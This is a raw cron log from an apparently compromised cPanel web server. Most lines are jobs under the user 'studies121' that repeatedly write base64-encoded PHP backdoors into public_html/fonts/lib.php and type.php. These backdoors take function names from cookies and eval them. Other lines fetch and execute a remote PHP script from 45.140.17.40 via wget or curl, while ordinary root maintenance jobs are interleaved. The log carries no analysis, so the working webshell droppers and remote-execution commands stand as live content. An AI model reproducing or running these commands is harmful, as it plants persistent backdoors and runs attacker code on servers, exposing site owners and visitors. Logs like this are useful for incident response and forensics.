Aug 30 07:04:01 ip-184-168-122-23 CROND[1115]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 07:04:01 ip-184-168-122-23 CROND[1119]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:04:01 ip-184-168-122-23 CROND[1118]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:05:01 ip-184-168-122-23 CROND[1279]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 07:05:01 ip-184-168-122-23 CROND[1280]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 07:05:01 ip-184-168-122-23 CROND[1281]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 07:05:01 ip-184-168-122-23 CROND[1286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:05:01 ip-184-168-122-23 CROND[1283]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 07:05:01 ip-184-168-122-23 CROND[1284]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:05:01 ip-184-168-122-23 CROND[1285]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 07:06:02 ip-184-168-122-23 CROND[1389]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 07:06:02 ip-184-168-122-23 CROND[1391]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 07:06:02 ip-184-168-122-23 CROND[1392]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:06:02 ip-184-168-122-23 CROND[1393]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 07:06:02 ip-184-168-122-23 CROND[1394]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:07:01 ip-184-168-122-23 CROND[1595]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:07:01 ip-184-168-122-23 CROND[1598]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 07:07:01 ip-184-168-122-23 CROND[1599]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 07:07:01 ip-184-168-122-23 CROND[1600]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:08:01 ip-184-168-122-23 CROND[1678]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 07:08:01 ip-184-168-122-23 CROND[1679]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:08:01 ip-184-168-122-23 CROND[1681]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 07:08:01 ip-184-168-122-23 CROND[1683]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:08:01 ip-184-168-122-23 CROND[1682]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 07:09:01 ip-184-168-122-23 CROND[1766]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 07:09:01 ip-184-168-122-23 CROND[1767]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:09:01 ip-184-168-122-23 CROND[1769]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:09:01 ip-184-168-122-23 CROND[1772]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 07:09:01 ip-184-168-122-23 CROND[1770]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 07:10:01 ip-184-168-122-23 CROND[1886]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 07:10:01 ip-184-168-122-23 CROND[1885]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:10:01 ip-184-168-122-23 CROND[1887]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:10:01 ip-184-168-122-23 CROND[1892]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 07:10:01 ip-184-168-122-23 CROND[1896]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 07:10:01 ip-184-168-122-23 CROND[1894]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 07:10:01 ip-184-168-122-23 CROND[1895]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 07:10:01 ip-184-168-122-23 CROND[1899]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 07:11:01 ip-184-168-122-23 CROND[1997]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 07:11:01 ip-184-168-122-23 CROND[1998]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:11:01 ip-184-168-122-23 CROND[1999]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 07:11:01 ip-184-168-122-23 CROND[2001]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:12:01 ip-184-168-122-23 CROND[2076]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 07:12:01 ip-184-168-122-23 CROND[2078]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 07:12:01 ip-184-168-122-23 CROND[2079]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 07:12:01 ip-184-168-122-23 CROND[2080]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:12:01 ip-184-168-122-23 CROND[2081]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:13:01 ip-184-168-122-23 CROND[2274]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 07:13:01 ip-184-168-122-23 CROND[2275]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:13:01 ip-184-168-122-23 CROND[2278]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 07:13:01 ip-184-168-122-23 CROND[2280]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:14:01 ip-184-168-122-23 CROND[2371]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 07:14:01 ip-184-168-122-23 CROND[2373]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:14:01 ip-184-168-122-23 CROND[2374]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 07:14:01 ip-184-168-122-23 CROND[2376]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 07:14:01 ip-184-168-122-23 CROND[2375]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:15:01 ip-184-168-122-23 CROND[2469]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:15:01 ip-184-168-122-23 CROND[2471]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 07:15:01 ip-184-168-122-23 CROND[2475]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 07:15:01 ip-184-168-122-23 CROND[2473]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 07:15:01 ip-184-168-122-23 CROND[2476]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:15:01 ip-184-168-122-23 CROND[2477]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 07:16:01 ip-184-168-122-23 CROND[2565]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
